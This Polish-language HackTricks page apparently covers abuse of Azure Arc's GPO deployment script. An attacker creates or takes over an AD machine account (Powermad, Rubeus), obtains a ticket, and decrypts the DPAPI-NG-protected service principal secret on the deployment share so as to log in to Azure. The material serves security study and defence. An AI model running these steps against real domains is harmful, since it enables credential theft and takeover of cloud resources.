Az - Arc vulnerable GPO Deploy Script

Support HackTricks

Identifying the Issues

Azure Arc umożliwia integrację nowych wewnętrznych serwerów (serwery dołączone do domeny) z Azure Arc za pomocą metody obiektów zasad grupy (GPO). Aby to ułatwić, Microsoft dostarcza zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 oraz AzureArcDeployment.psm1.

Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności:

  1. Tworzy GPO onboardingu serwerów Azure Arc w lokalnej domenie.

  2. Kopiuje skrypt onboardingu EnableAzureArc.ps1 do wyznaczonego udziału sieciowego utworzonego na potrzeby procesu onboardingu, który zawiera również pakiet instalacyjny Windows.

Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: ServicePrincipalId oraz ServicePrincipalClientSecret. Dodatkowo wymaga innych parametrów, takich jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu.

Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskriptor składa się z SID-ów grupy komputerów domenowych i kontrolerów domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń kontrolerów domeny i komputerów domenowych, jak zauważono w komentarzach skryptu.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploit

Mamy następujące warunki:

  1. Sukcesywnie przeniknęliśmy do wewnętrznej sieci.

  2. Mamy możliwość utworzenia lub przejęcia kontroli nad kontem komputera w Active Directory.

  3. Odkryliśmy udział sieciowy zawierający katalog AzureArcDeploy.

Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęstszych jest wykorzystanie kwoty konta maszyny. Inną metodą jest kompromitacja konta maszyny poprzez podatne ACL lub różne inne błędne konfiguracje.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Gdy konto maszyny zostanie uzyskane, możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Mając TGT dla naszego konta komputerowego przechowywanego w pamięci, możemy użyć następującego skryptu do odszyfrowania sekretu głównego usługi.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternatywnie, możemy użyć SecretManagement.DpapiNG.

Na tym etapie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym folderze co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal.

References

Support HackTricks

Last updated